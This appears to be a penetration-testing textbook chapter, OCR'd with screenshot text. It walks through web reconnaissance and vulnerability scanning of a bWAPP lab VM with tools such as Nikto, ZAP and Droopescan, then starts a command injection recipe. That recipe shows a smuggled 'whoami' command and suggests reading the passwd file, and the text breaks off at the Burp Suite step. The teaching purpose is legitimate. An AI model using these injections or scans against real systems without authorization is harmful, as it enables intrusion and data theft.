The web is the most exposed surface of any organization. Public websites, content management
systems (CMSs), API endpoints, and backend databases — these exposed services are constant
targets for attackers seeking to steal data, deface content, or gain a foothold into deeper systems.
As a penetration tester, understanding how to analyze and exploit these components is critical

to uncovering security flaws that can be taken advantage of.

In this chapter, you’ll conduct reconnaissance to uncover web technologies, fingerprint CMS
platforms, and identify common misconfigurations and outdated software. Then, you’ll escalate
your efforts with tools that scan for vulnerabilities, exploit command injection points, and pull

sensitive data through SQL injection. Each recipe walks you through practical scenarios.
The following recipes will be covered in this chapter:

e Creating a website reconnaissance report with Photon and EyeWitness
e  Using Nikto to scan websites for vulnerabilities

e  Using Skipfish to scan websites for vulnerabilities

e  Using ZAP to scan websites for vulnerabilities

e  Using Droopescan to scan a CMS for vulnerabilities



452 Web Warriors: Exploiting Online and Database Vulnerabilities

e  Performing a command injection attack
e  Performing a SQL injection attack
e  Performing a cross-site scripting (XSS) attack

e Discovering hidden files with R/LFI and ffuf

Technical requirements

We will be using Kali Linux and BeeBox’s bWAPP VM for most of the testing.

Creating a website reconnaissance report with
Photon and EyeWitness

In this recipe, you will learn how to use Photon to automatically crawl a target website and collect
useful assets such as links, forms, and endpoints. You’ll then feed these results into EyeWitness,
a powerful reconnaissance tool that captures screenshots and generates a visual report of the
discovered pages. This process simulates an attacker’s passive intelligence-gathering phase and

prepares you for deeper vulnerability assessments.

Getting ready

We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational
e A BeeBox bWAPP VM that is up and operational

How to do it...
1. Open up a terminal window in Kali.

2. Start by installing EyeWitness using the following:

sudo apt update

sudo apt install eyewitness photon

3. Now run Photon against our target VM (BeeBox). This will allow us to get a list of URLs

to scan. Use the following:

cd

photon -u http://192.168.92.7 -o photon-results
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The following image shows Photon being launched:

)-[~]
-u http://192.168.92.7 -0 photon-results

Level 1: 1 URLs

Progress: 1/1

Level 2: 5 URLs

Progress: 5/5

Crawling 4 JavaScript files
Progress: 4/4

Files: 2
Internal: 37
Scripts:
External: 12
Fuzzable: 6

Total requests made: 11

Total time taken: @ minutes @ seconds
Requests per second: 14

Results saved in p s directory

Figure 12.1 - Photon launch

4. Let’sreview the URLs that Photon collected using the following:

cd photon-results
cat internal.txt

cat ~/photon-results/internal.txt | sort -u > ew-targets.txt

5. Now run EyeWitness against the list of URLs to capture screenshots and other valuable

information:

eyewitness --web -f ew-targets.txt -d ~/bwapp_ew --no-prompt --no-
dns

)-[~/photon-results]

Red Siege Information Security - https://ww.redsiege.com

Starting Web Requests (37 Hosts)

Attempting to screenshot http://192.168.92.7

Attempting to screenshot http://192.168.92.7/

Attempting to screenshot http://192.168.92.7/attack-cors.htm
Attempting to screenshot http://192.168.92.7/bWAPP

Attempting to screenshot http://192.168.92.7/?C=D;0=A
Attempting to screenshot http://192.168.92.7/clickjacking.htm
Attempting to screenshot http://192.168.92.7/7C=M;0=A
Attempting to screenshot http://192.168.92.7/2?C=N;0=D

Figure 12.2 - EyeWitness
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6. Let’s now examine our results. Click on the folder icon and select bwapp_ew and then

Open Folder.

File Machine View Input Devices

S omPor-
n Folder

nin Terminal

Document...
armitage-tmp
bwapp_ew »en Folder

crack - »en in Terminal
File Sys

ens

source

Figure 12.3 - bwapp_ew

7. Now open the report.html file (it will auto-launch Firefox).

3  EyeWitness Repert Tableof (X +

C @ D file:///home/kali/bwapp_ew/report.html B 120w % @ 90

-8 Import bookmarks... OffSec KaliLinux & Kali Tools Kali Docs N Kali Forums X Kali NetHunter Exploit-DB

Table of Contents

+ Directory Listings (Page 1)
« Content Management System (CMS) (Page 1)
« Uncategorized (Page 1)
* 404 Not Found (Page 1)

Directory Listings 1
Content Management System (CMS) 4
Uncategorized 9
404 Not Found 23
Errors 0
Total 37

Report Generated on 2025/11/06 at 11:52:51

Page 1

Figure 12.4 - Eyelitness report
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8. Scroll through the report and examine the information provided. Collecting this infor-
mation will help you target attacks based on what you learn regarding the underlying

programs and structure of the site.

ss Report Tabls
D fi port.html
-] Import bookmarks... OffSec Kali Linux & Kali Tools Kali Docs % Kali Forums e\ Kali NetHunter Exploit-DB
(Web Request Info 'Web Screenshot
http://192.168.92.7/drupal/?q=user/
register

Default credentials: (Drupal) admin/
l<assigned at install>

Page Title: User account | Drupageddon [ A Drupageddon
Date: Thu, 06 Nov 2025 06:23:09 GMT )
Server: Apache/2.2.8 (Ubuntu) DAV/2
imod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 i
with Suhosin-Patch mod_ssl/2.2.8

(OpenSSL/0.9.8g User account
X-Powered-By: PHP/5.2.4-2ubuntu5 Groat new account | | Login || Requast new password
[Expires: Sun, 19 Nov 1978 05:00:00

GMT

Last-Modified: Thu, 06 Nov 2025
06:23:09 +0000

ICache-Control: no-cache, must-
revalidate, post-check=0, pre-check=0
ETag: "1762410189"
Content-Language: en

Figure 12.5 - EyeWitness results
This report is a start to understanding the environment you want to attack.

9. You can now close Firefox and the terminal window

How it works...

We combine two tools to simulate the early reconnaissance phase of a web-based attack. Photon
is a crawler that parses a target website to discover internal and external links, scripts, files, forms,
and other key assets. It builds a detailed inventory of endpoints that may later be exploited. Once
Photon has mapped out the site, the collected URLs are passed to EyeWitness, which visits each
address, captures a screenshot, and collects HTTP response headers and metadata. EyeWitness

then compiles all of this into a report, giving us a visual overview of the target.

See also

For more on these tools, check out the following resources:

e https://github.com/semd3v/Photon
e https://github.com/FortyNorthSecurity/EyeWitness


https://github.com/s0md3v/Photon
https://github.com/FortyNorthSecurity/EyeWitness

https://github.com/s0md3v/Photon
https://github.com/FortyNorthSecurity/EyeWitness
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Using Nikto to scan websites for vulnerabilities

In this recipe, you will use Nikto, a web scanner, to identify basic security flaws, misconfigurations,

outdated components, and potentially dangerous files on a target website. You’ll gain experience

with automated vulnerability discovery and learn how to quickly assess common flaws.

Getting ready

We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e ABeeBox bWAPP VM thatis up and operational

How to do it...

1

2.

3.

Open up a terminal window in Kali.

Launch Nikto against our target VM, as shown:

cd
nikto -h http://192.168.92.7/bWAPP -o nikto_bwapp.txt

— )-[~]
— ikto -h http://192.168.92.7/bWAPP -0 nikto_bwapp.txt
- Nikto v2.5.0

Target IP: 192.168.92.7

Target Hostname: 192.168.92.7

Target Port: 80

Start Time: 2025-11-06 11:58:56 (GMT5.5)

Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosi
/bWAPP/: Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.
/bWAPP/: The anti-clickjacking X-Frame-Options header is not present. See: https://d
/bWAPP/: The X-Content-Type-Options header is not set. This could allow the user age
type. See: https://ww .netsparker.com/web-vulnerability-scanner/vulnerabilities/missi
+ Root page /bWAPP redirects to: portal.php
+ /bWAPP/robots.txt: Server may leak inodes via ETags, header found with file /bWAPP/r|
ee: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418

Figure 12.6 - Nikto launch

Let’s review the output:

nano nikto_bwapp.txt
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You will see entries that will be marked as interesting, areas pointing to vulnerabilities,
or specific details of a flaw.

GET /bWAPP/passwords/: This might be interesting.

GET /bWAPP/stylesheets/: Directory 1ndexing found.

GET /bWAPP/stylesheets/: This might be interesting.

GET /bWAPP/test/: This might be interesting.

GET /bWAPP/admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner.
GET /bWAPP/phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found.

fihis gives a lot of system information. See: CWE-552:

GET /bWAPP/admin/phpinfo.php: Output from the phpinfo() function was found.

GET /bWAPP/admin/phpinfo.php: Immobilier allows phpinfo() to be run.

See:

GET /bWAPP/config.inc: DotBr 0.1 configuration file includes usernames and passwords. See: OSVDB-5092:
GET /bWAPP/install/install.php: Install file found.

GET /bWAPP/install.php: install.php file found.

GET /bWAPP/login.php: Admin login page/section found.

GET /bWAPP/test.php: This might be interesting.

Figure 12.7 - Nikto output

4. You may now close your terminal window.

How it works...

We used Nikto to scan the bWAPP lab environment and let it enumerate vulnerabilities with no
authentication required. While Nikto doesn’t exploit these flaws, it quickly identifies flaws that
could lead to more serious issues if left unaddressed. Nikto performs thousands of checks for
common misconfigurations, outdated software, exposed files, and other known issues using its

signature database.

See also
For more on Nikto and its capabilities, check out the following:

. https://cirt.net/Nikto2
e https://github.com/sullo/nikto

Using Skipfish to scan websites for vulnerabilities

In this recipe, you will use Skipfish, a high-speed web application security scanner that performs
crawling and active testing of websites. You’ll generate a vulnerability report that highlights
potential injection points, broken links, and XSS flaws. This recipe shows how automated recon-

naissance and analysis can uncover hidden issues across web applications.


https://cirt.net/Nikto2
https://github.com/sullo/nikto

https://cirt.net/Nikto2
https://github.com/sullo/nikto
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Getting ready

We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e A BeeBox bWAPP VM that is up and operational

How to do it...
1. Open aterminal window on Kali.

2. Let’s launch Skipfish against our target VM, as shown:

cd

skipfish -o bwapp http://192.168.92.7/bWAPP

We will be presented with a screen with some instructions. The scan will start automat-

ically, or you can press a key to begin it immediately.

Session Actions Edit View Help
Welcome to skipfish. Here are some useful tips:

1) To abort the scan at any time, press Cirl-C. A partial report will be written
to the specified location. To view a list of currently scanned URLs, you can
press space at any time during the scan.

2) Watch the number requests per second shown on the main screen. If this figure
drops below 100-200, the scan will likely take a very long time.

3) The scanner does not auto-limit the scope of the scan; on complex sites, you
may need to specify locations to exclude, or limit brute-force steps.

4) There are several new releases of the scanner every month. If you run into
trouble, check for a newer version first, let the author know next.

More info: http://code.google.com/p/skipfish/wiki/KnownIssues

Figure 12.8 - Skipfish start
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Skipfish will launch, and you will be presented with a statistics screen to track the prog-

ress of the scan.

Session Actions Edit View Help
skipfish version 2.10b by lcamtufagoogle.com

0:00:47.729

888 (126.5/s), 5166 kB in, 2013 kB out (150.4 kB/s)
0 kB in, @ kB out (0.0% gain)

@ net errors, @ proto errors, @ retried, @ drops

65 total (108.1 req/conn)

0 failures, @ timeouts, 1 purged

178 skipped

1141

163 total, 3 done (1.84%
2

%)
145 pending, 1@ init, 2 attacks, 3 dict
0 spotted
1 serv, 57 dir, 21 file, @ pinfo, 42 unkn, 42 par, @ val
21 info, @ warn, 1 low, @ medium, @ high impact
140 words (140 new), 14 extensions, 256 candidates
77 total

Figure 12.9 - Skipfish statistics

Tip

&

This scan will take several hours, so please be patient.

3. Toseemore details regarding the current process, select this screen by pressing the space-

bar. Pressing the spacebar again will return you to the statistics screen.
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4. Once completed, open your file, navigate to the bwapp folder, and open it.

File Edit View Go

=>4+ 4 i bwapp
Places

& Computer

B kali

armitage-tmp
= | Desktop . P

) Recent
Mo

' Trash

= Documents

remote_hash Templates
2 Music

Figure 12.10 - bwapp folder

5. Scroll through and find and click on the index.html file to be presented with the Skipfish

report.

skipfish

WEE AFF SOAMMER

Crawl results - click to expand:

e a4 http 1!192 168.92.7I 69 0382 @1l 01724 -,2002

Code: 200, gth: 588, declared: text/html, detected: application/=htm+xml, arset: [nor

Document type overview - click to expand:

.= applicationfatom+xml (1)

. | application/binary (5)

. | applicationf/javascript (105)
.= application/rss+xml (2)

. = application/x-gzip (4)

.o application/xhtml+xml (sg)
. . imagelgif (4

.= imageljpeg (2)

. = imagelpng (101)

. | imagelx-ms-bmp (3

Figure 12.11 - Skipfish report
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6. Scroll through the report and expand some of the issues discovered. For instance, you will

see PHP and Java being used, which will allow you to direct attacks toward those packages.

Issue type overview - click to expand:

© Signature match detected (higher risk) (2)
1. http://192.168.92.7/phpmyadmin/libraries/engines/berkeleydb.lib.php [ show trace + |

Memo: PHP inclusion errors (during traversal tests) (sig: 51001)

2. hitp://192.168.92.7/phpmyadmin/libraries/export/excel.php [ show trace + ]

Memo: PHP inclusion errors (during traversal tests) (sig: 51001)
@ Incorrect caching directives (higher risk) (7)
@ Interesting server message (51)

Figure 12.12 - Skipfish issues

7. Click on show trace next to one of the issues to pull up more detailed information on

what has been discovered.

| HTTP trace - click this bar or hit ESC to close

=== REQUEST ===

GET /phpmyadmin/libraries/engines/berkeleydb.lib.php HTTP/1.1

Host: 192.168.92.7

Accept-Encoding: gzip

Connection: keep-alive

User-Agent: Mozilla/5.0 SF/2.16b

Range: bytes=0-399999

Referer: http://192.168.92.7/

Cookie: PHPSESSID=44e2709bd6361e60251742d758585441; pmaCookieVer=4; phpMyAdmin=6gMIW4pXU3XBvIdqy7it05Au@le6; pma_fontsize=del
pma_lang=deleted; pma charset=deleted; pma_collation connection=deleted; pma theme=deleted; SESSa7e8757c6c@6a2ffac5e74b1175a
SQLiteManager currentlangue=steal stuff

=== RESPONSE ===

HTTP/1.1 200 Partial Content

Date: Thu, 86 Nov 2025 B7:41:33 GMT

Server: Apache/2.2.8 (Ubuntu} DAV/2 mod fastcgi/2.4.6 PHP/5.2.4-Zubuntu5 with Suhosin-Patch mod ss1/2.2.8 OpenS5L/8.9.8g
X-Powered-By: PHP/5.2.4-2ubuntu5

Content-Range: bytes 8-698/699

Content-Length: 699

Keep-Alive: timeout=15, max=57

Connection: Keep-Alive

Content-Type: text/html

<br /=

<b=Warning</b>: include once(./libraries/engines/bdb.lib.php) [<a href='"function.include-once'>function.include-once</a=]:
phpmyadmin/libraries/engines/berkeleydb.lib.php</b> on line <b>18</b><br />

<br /=

<b=Warning</b=: include once() [<a href='function.include’=function.include</a>]: Failed opening './libraries/engines/bdb.1l
libraries/engines/berkeleydb.lib.php</b> on line <b>1@</b=<hr />

<br />

<b>Fatal error</b>: Class 'PMA_StorageEngine_bdb' not found in <b>/usr/share/phpmyadmin/libraries/engines/berkeleydb.lib.ph
lass 'P!

=== END OF DATA ===

Figure 12.13 - Skipfish trace

8. Continue to explore the report to understand the information gathered.

9. Youmay close Firefox and the terminal window.
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How it works...

Skipfish targeted a vulnerable web application in your lab environment, where it crawled hun-
dreds of pages and submitted form inputs to test for common flaws. The resultis an HTML report
of the issues by severity and category. Skipfish operates by recursively crawling the target site,
building a sitemap, and performing a series of vulnerability checks, such as XSS, SQL injection,

SSL certificate issues, and information disclosure.

See also

For additional learning and examples of using Skipfish, visit https://www.kali.org/tools/
skipfish/.

Using ZAP to scan websites for vulnerabilities

In this recipe, you will use OWASP Zed Attack Proxy (ZAP) to perform automated scanning of
web applications. You'll learn how to launch a passive and active scan, discover common vulner-

abilities such as XSS and insecure headers, and generate an HTML report.

Getting ready

We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e A BeeBox bWAPP VM that is up and operational

How to do it...
1. Open aterminal window in Kali.

2. Let’sinstall zaproxy using the following:

cd

sudo apt update

sudo apt install zaproxy

3. Now launch zaproxy:

4. Whenitlaunches, it will ask whether you want to persist the session. Select the yes option

that mentions specifying the name and location and select Start.


https://www.kali.org/tools/skipfish/
https://www.kali.org/tools/skipfish/
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b
File Edit View Analyse Report Tools Import Export Online Help
StandardMode ~| [ S E @ §§ G i 2l aiomE & & V @

@ Sites = § 4= Response =" Requester ]
@eqBE3 4 Quick Start & = Request
5 Contexts ZAPby
kmaxx

Do you want to persist the ZAP Session? ool for

Yes, | want to persist this session with name based on the current timestamp of the

®) Yes, | want to persist this session but | want to specify the name and location

No, | do not want to persist this session at this moment in time
Remember my choice and do not ask me again.
You can always change your decision via the Options / Database screen
= History Help
@ @& ' Filter: OFF ¢ Export &
ID S.. Req. Times... M... URL C... Rea... ... Size Re... Highe... ... Tags &

Alerts IO U0 U0 0 Main Proxy: localht Current Status @ 0 €0 20 @0 /0 %0 %0 ®0
Figure 12.14 - ZAP session
5. Select the name and location and click Save.

You will then see the installed add-ons and the marketplace of available add-ons.

Installed  Marketplace I
ZAP Core
2.16.1 Check for Updates
Add-ons
Filter:
. Name \ersion Description Update Se...®
(i) Active scanner rules 71.0.0 The release status Active Scanner rules
Ajax Spider 23.2... Allows you to spider sites that make heavy use of J...
Alert Filters 23.0.0 Allows you to automate the changing of alert risk le...
Authentication Helper 0.25.0 Helps identify and set up authentication handling
Automation Framework  0.49.0 Automation Framework.
Call Home 0.14.0 Handles all of the calls to ZAP services.
Client Side Integration 0.15.0 Exposes client (browser) side information in ZAP us...
Common Library 1.31.0 A common library, for use by other add-ons.
Database 0.8.0 Provides database engines and related infrastructure.
Diff 17.0.0 Displays a dialog showing the differences between ...
Directory List v1.0 9.0.0 Ut of directory names to be used with Forced Bro...
DOM XSS Active scanne... 21.0.0 DOM XSS Active scanner rule
Encoder 1.6.0 Adds encode/decode/hash dialog and support for sc...
Forced Browse 17.0.0 Forced browsing of files and directories using code f...
Fuzzer 13.1... Advanced fuzzer for manual testing
Getting Started with ZA... 19.0.0 A short Getting Started with ZAP Guide
GraalvM JavaScript 0.9.0 Provides the GraalVM |avaScript engine for ZAP scri...
(i) GraphQL Support 0.27.0 Inspect and attack GraphQL endpoints.
Help - English 20.0.0 English version of the ZAP help file.
HUD - Heads Up Display  0.19.0 Display information from ZAP in browser,

Figure 12.15 - ZAP marketplace
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6. Youcan hitthe blue Xicon in the upper right-hand corner when you are ready to continue.

7. Select the Automated Scan option on the right pane.

§ 47 Quick Start #* =rReguest <= Response &7 Requester

Welcome to ... ZAP.,

Checkmarx

ZAP is an easy to use integrated penetration testing tool for finding wulnerabilities in web
applications.

If you are new to ZAP then it is best to start with one of the options below.

Y @

Automated Sc... Marual Explore Learn More

5] Cutput

Figure 12.16 - ZAP Automated Scan

8. Enter the web address of the bWAPP server, http://192.168.92.7/bWAPP, and then click
Attack.

<Q Automated Scan

This screen allows you to launch an automated scan against an application - just enter its URL below and press 'Attack’.

Please be aware that you should only attack applications that you have been specifically been given permission to test.

URL to attack: ‘ http://192.168.92.7/b WAPP
Use traditional spider:

Use ajax spider: If Modern | with | Firefox ~
47 Attack Stop
Progress: MNot started

Figure 12.17 - ZAP automated scan attack

9. Once complete, in the lower left, you will be presented with the alerts that correspond

to the site scanned.
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B History @ Search [WAlerts @ | Output # Spider ) Active Scan =

@e s & Full details of any selected alert will be displayed here.
= Alerts (12)
|8 Absence of Anti-CSRF Tokens (5)
[ Content Security Policy (CSP) Header Not Set
U Missing Anti-clickjacking Header (7)
|- Big Redirect Detected (Potential Sensitive Infor|
|- Cookie No HttpOnly Flag
|-l Cookie without SameSite Attribute
|l Server Leaks Information via "X-Powered-By" H
|l Server Leaks Version Information via "Server"
|- X-Content-Type-Options Header Missing (22)
[ Authentication Request Identified (2)
[ Session Management Response Identified
[Fii User Controllable HTML Element Attribute (Pot

You can manually add alerts by right clicking on the relevant line in the history and selecting 'Add alert".

You can also edit existing alerts by double clicking on them.

Figure 12.18 - ZAP alerts

Selecting one of the alerts will provide you with detailed information, including details

of the alert, the header, and the body of the related alert.

x Untitled Session - testing - ZAP 2.16.
File Edit View Analyse Report Tools Import Export Online Help
Standard Mode ~ || ] &2 EDegEFANEE e EEmE e e Y e % @ EHeoe® &
@ Sites = § % Quick Start ~ =» Request ¢ Response &/Requester ¢
@eRaEZ= Header: Text ~ Body: Text ~ [} O

= Contexts HTTP/1.1 200 0K

[ Default Context Date: Thu, 06 Nov 2025 07:02:12 GMT
@ Stes Server: Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 w

Patch mod_ss1/2.2.8 OpenSSL/0.9.8g

X-Powered-By: PHP/5.2.4-2ubuntus

Expires: Thu, 19 Nov 1981 G8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-chec
Pragma: no-cache

gth: 4013

2| http://192.168.92.7

<div id="main"s>
<hl=Login</hl=
<p=Enter your credentials <i=(bee/bug)</i=>.</p>

form sction="/OWAPP/ ] ogin phot method="POST"

# History &, Search [®Alerts & ] Cutput =
@ e J & Wbsence of Anti-CSRF Tokens
 Alerts (16) LRL: http://152.168.92.7/bWAPP
M Absence of Anti-CSRF Tokens (° Risk: LT
\"U Content Security Policy (CSP) Header Mot Set Conﬂdence.. Low
¥ Directory Browsing (3) Paramleter.
[ Hidden File Found pttack: o R PR
[ Missing Anti-clickjacking Header (7) Evidence:  <form action="/bWAPP/login.php" method="POST">
|1 Big Redirect Detected (Potential Sensitive Infc [CWE ID: . 352
|-l Cookie No HttpOnly Flag ASCID: 9 ) .
{71 Cookie without SameSite Attribute Source: Passive (10202 - Absence of Anti-CSRF Tokens)
|-l Server Leaks Information via "X-Powered-By" s Vlec‘tur:
ITH € snr | mnlee Vlrrinn Infrrmntine 1in 1Gan.ar || DESCription:

Figure 12.19 - ZAP alert details

10. Continue to scroll through and examine the output.

11. When completed, you can close the window by hitting the blue X icon in the upper right-

hand corner.

12. You may close the terminal window.
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How it works...

In this recipe, ZAP was used to scan a vulnerable web application in your lab environment. The
tool crawled the application, mapped the site’s structure, and executed vulnerability tests. When
done, it provided a report showing identified issues, categorized by type and severity. This tool

helps move from reconnaissance directly into vulnerability discovery.

See also

To dive deeper into ZAP, check out the following website:

https://www.zaproxy.org/docs/

Using Droopescan to scan a CMS for vulnerabilities

In this recipe, you will learn how to use Droopescan to fingerprint and analyze Drupal-based
CMSs for weaknesses. You'll see how to enumerate installed themes and modules, detect the

CMS version, and identify files that may leak sensitive information.

Getting ready
We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational
e A BeeBox bWAPP VM that is up and operational

How to do it...
1. Open aterminal window in Kali.

2. Start by installing a compatible version of Python, as shown:

cd
sudo apt update

sudo apt install -y build-essential libssl-dev zliblg-dev

libncurses5-dev libncursesw5-dev libreadline-dev libsqlite3-dev
libgdbm-dev 1ibdb5.3-dev libbz2-dev libexpatl-dev liblzma-dev tk-dev
python3-pip python3-venv git

cd /usr/src



https://www.zaproxy.org/docs/
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3.

sudo wget https://www.python.org/ftp/python/3.10.14/Python-3.10.14.
tgz

sudo tar xzf Python-3.10.14.tgz

cd Python-3.10.14

sudo ./configure --enable-optimizations
sudo make -j$(nproc)

sudo make altinstall

The latest version of Kali ships with a newer version of Python that has some deprecated

packages that Droopescan requires. Therefore, we have to add a compatible version.

Now install Droopescan using the following:

cd

git clone https://github.com/droope/droopescan.git
cd droopescan

python3.10 -m venv ds

source ds/bin/activate

pip install -r requirements.txt

Tip

\E/‘ Note how your prompt changes to indicate the Python virtual environment

you are in.

Let’s run Droopescan to collect information such as loaded plugins and version informa-

tion against the Drupal environment on our target VM:

python droopescan.py scan drupal -u http://192.168.92.7/drupal

Examine the output on the screen. You will see the installed plugins, themes, version, and

any interesting URLs exposed. This provides you with the information you need to attack

the Drupal environment.
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)-[~/droopescan]
Dy 1 droopescan scan drupal -u http://192.168.92.7/drupal
P1 s found:
profile
php
image

Themes found:
seven
garland

Po le interesting urls found:
Default changelog file -

)-[~/droopescan ]

Figure 12.20 - Droopescan results

6. If you want to save the output for later use, you can send it to a file using the following:

python droopescan scan drupal -u http://192.168.92.7/drupal > ds-

report.txt

7. To close out of the Python virtual environment, use deactivate.

\@// Tip

Note the prompt changes to indicate you have exited the virtual environment.

How it works...

In this recipe, Droopescan was run against a vulnerable Drupal. It uses fingerprinting and enumer-
ation to analyze the target CMS installation. The tool identified the core version of Drupal, listed
publicly accessible modules and themes, and revealed files that could provide useful versioning

or configuration data. Droopescan can also be used against Joomla and other CMS installations.

See also

For additional information on Droopescan, please refer to the following website: https://github.

com/droope/droopescan.


https://github.com/droope/droopescan
https://github.com/droope/droopescan

Chapter 12 469

Performing a command injection attack

In this recipe, you will perform a command injection attack against a vulnerable web application
inyour lab environment. You'll identify a parameter vulnerable to command injection, use a tool
such as Commix to exploit it, and extract system-level information. This exercise demonstrates

how web inputs that are improperly sanitized can lead to full command execution.

Getting ready

We need the following to complete this recipe:

e AKaliLinux VM thatis up and operational

e ABeeBox bWAPP VM is up and operational

How to do it...
1. Open aterminal window in Kali.
2. Launch Burp Suite using the following:

cd

burpsuite

3. Once it starts, you will be asked whether you would like to open or create a project. The

only accessible option will be to select a temporary project in memory and then select Next.

Tip

\/V Many features, including the ability to save and open projects, are not avail-
able in the community edition. If interested, you may obtain a 30-day eval-

uation license, but it is not required for our lab.

4. When asked to select the configuration for the project, simply select Use Burp defaults
and then select Start Burp.

5. Once Burp Suite has started, you may open Firefox.

6. From Firefox, open the settings page.
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7. Once in General, scroll all the way to the bottom and select Settings... under Network

Settings.

@

Performance

ecommended

@ Home
Q Search

& Privacy & Security

Browsing

[ Use autoscrolling

(:) Sync Use smooth scrolling
O Always show scrollbars

E More from Mozilla _ i .

[ Always use the cursor keys to navigate within pages

O Always underline links

[7] searchfo /hen you start typing

Enable Picture-in-Picture video controls Lea

Control media vard, headset, or virtual interface

Recommend extensions as you browse Learn more

commend features as you browse Learn mo

Network Settings

9 E es Configure how Firefox connects to the internet. | ( Settings...

® Firefox Support

Figure 12.21 - Firefox Network Settings

8. Under Connection Settings, we want to set Burp Suite as our proxy. Select Manual proxy
configuration, then enter the proxy address 127.0.0.1 and port 8080, and select Also
use this proxy for HTTPS. Then select OK.
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Connection Settings

Configure Proxy Access to the Internet

No proxy
Auto-detect proxy settings for this network
Use system proxy settings
Manual proxy configuration
HTTP Proxy | 127.

Also use this proxy for HTTPS

Automatic proxy configuration URL

No proxy for

Example: .mozilla.org, .net.nz, 192.168.1.0/24
Connections to localhost, 127.0.0.1/8, and ::1 are never proxied.

Do not prompt for authentication if password is saved

Cancel

Figure 12.22 - Firefox proxy settings

9. You can now close the settings page.

10. Let’s now browse to the bWAPP app in Firefox by entering the URL of our BeeBox VM:

http://192.168.92.7/bWAPP
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11. Once there,login by using the username bee and password bug, setting the security level

to low, and clicking Login:

/ I_Oﬂil"l /

Enter your credentials (bee/bug).

Login:

| bee |

Password:

Set the security level:

low v |

| Login |

Figure 12.23 - bWAPP login

12. In the upper right-hand corner, where it says Choose your bug, select OS Command
Injection and then click Hack.
Choose your bug:
e (oS 0 R — v | | Hack |

/A1 - Injection /

HTML Injection - Reflected (GET)

HTML Injection - Reflected (POST)
HTML Injection - Reflected (Current URL)
HTML Injection - Stored (Blog)

iFrame Injection

LDAP Injection (Search)

0S Command Injection

05 Command Injection - Blind
PHP Code Injection
Server-Side Includes (S5I) Injection

SQL Injection (GET/Search)

Figure 12.24 - 0S Command Injection selection
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13. You will be presented with the OS Command Injection screen. www.nsa.gov will be
prepopulated; go ahead and select Lookup. You will be presented with a timeout error

message after a few seconds.

Tip
V4 Since we are on a host-only network in VirtualBox, the lookup cannot be
\@/ completed. If you wish, you may alter the network to the bridged adapter

to see this running a bit more smoothly (remember your IP addresses will

also change if you do that).

14. Now let’s see what happens when we add a Unix command after the lookup. This time,
enter www.nsa.gov ; whoami.

15. Examine the output closely. You will notice the same timeout error message as before,
but there is a bit more information at the end. You can see who this web app is running

as (www-data).

/ 0OS Command Inection /

DNS lookup: |www.nsa.g{w | | Lookup |

. connection timed out; no servers could be reached www-data

Figure 12.25 - Command injection - whoami

Tip

\Q/‘ Try using this method to obtain some other information. One thing to try
is to list the passwd file using cat — give it a try.

16. Let’s do something a bit more interesting with that information. At the top, record the
address/URL: http://192.168.92.7/bWAPP/commandi. php.

17. Move over to the Burp Suite information. You will see thatit has been collecting all of our
communication with the BeeBox VM. When it’s finished with the examination, select

Target at the top.



474 Web Warriors: Exploiting Online and Database Vulnerabilities

Burp Project Intruder Repeater View Help Burp Suite Community Edition v2025.9.5 - Temporary Project - o X
Dashboard Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions o &
Learn
Tasks @  Timetolevel up? Catch more bugswith Burp Suite Pro X

New scan New live task

®e 0 9 1. Live passive crawl from Proxy (all traffic) O & e
Summary
W Filter ~ el
[ Items addedtosite map View site map Q9
1. Live passivecrawlfr.. H . i "
pa: ® ot o S e Tasktype: Live passive crawl

Add links. Additem itself, same www.google.c.. GET  /warmup.html 200 HTML Scope: Proxy (all traffic)

domain and URLs in suite scope. fonts.gstatic.c.. GET  /s/googlesansive2/4UaR... 200 woff . .
AT GET  /bwape = BT Configuration: nsc?ptemks‘md\tem itself, same do

Capuring @D 192168927  GET  JOWAPPI 302 :
192168927  GET  /bWAPP/portal.php 200 HIML Capturing [ o)
192.168.92.7 GET  /bwAPP/login.php 200 HTML
192168927  GET  /bWAPPIstylesheetsistyl.. 200 €SS
192168927  GET  /bWAPP/images/favicon.... 200
192.168.92.7 GET  /bWAPP/js/htmlS.js 200 seript (® Taskprogress
192.168.92.7 bWAPP/user_new.php
192.168.92.7 JBWAPFinfo.php Sitemapitemsadded: 46
192.168.92.7 JbWAPPtraining.php
192168927  GET  /bWAPP/imagesiowasp... 200  PNG Responsesprocessed: 32
192168927  GET  /bWAPP/imagesizappng 200  PNG y
192.168.92.7 GET  /bWAPP/images/netspar... 200 PNG Responses queved: ©
192168927  GET  /bWAPP/imagesimkpng 200  PNG
192168927  GET  /bWAPP/imagesimme.png 200 PNG
192.168.92.7 GET  /bWAPP/images/netspar... 200 GIF
192168927  GET  /bWAPP/imagesitwitter... 200 PNG
192168927  GET  /bWAPP/imagesilinkedin.. 200  PNG
192168927  GET  /bWAPPfimagesffacebo.. 200  PNG © Tasklog
152168927  GET  /bWAPP/imagesiblogger.. 200 PNG
192168927  GET  /bWAPPimagesiccpng 200 PNG > Adding response http://192.168.92.7/bWAPP/comma
192168927  GET  /bWAPP/images/bee_1.p.. 200 PNG > Adding form http://192 168 92.7/bWAPP! commandi
192168927  POST /bWAPP/login.php 168.92.7/bBWAPP/commandi.php to site map
192168927 GET  /bWAPP/ima jpy 200 JPEG . Adding form http://192.168.92. 7/BWAPPIcommand

Figure 12.26 - Burp Suite captured traffic

18. From the target screen, expand the file tree on the left and select commandi.php. Take a

look at the Request field, specifically the cookie information, so we can collect our session

ID for the next step.
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organ
Site map Scope Issues

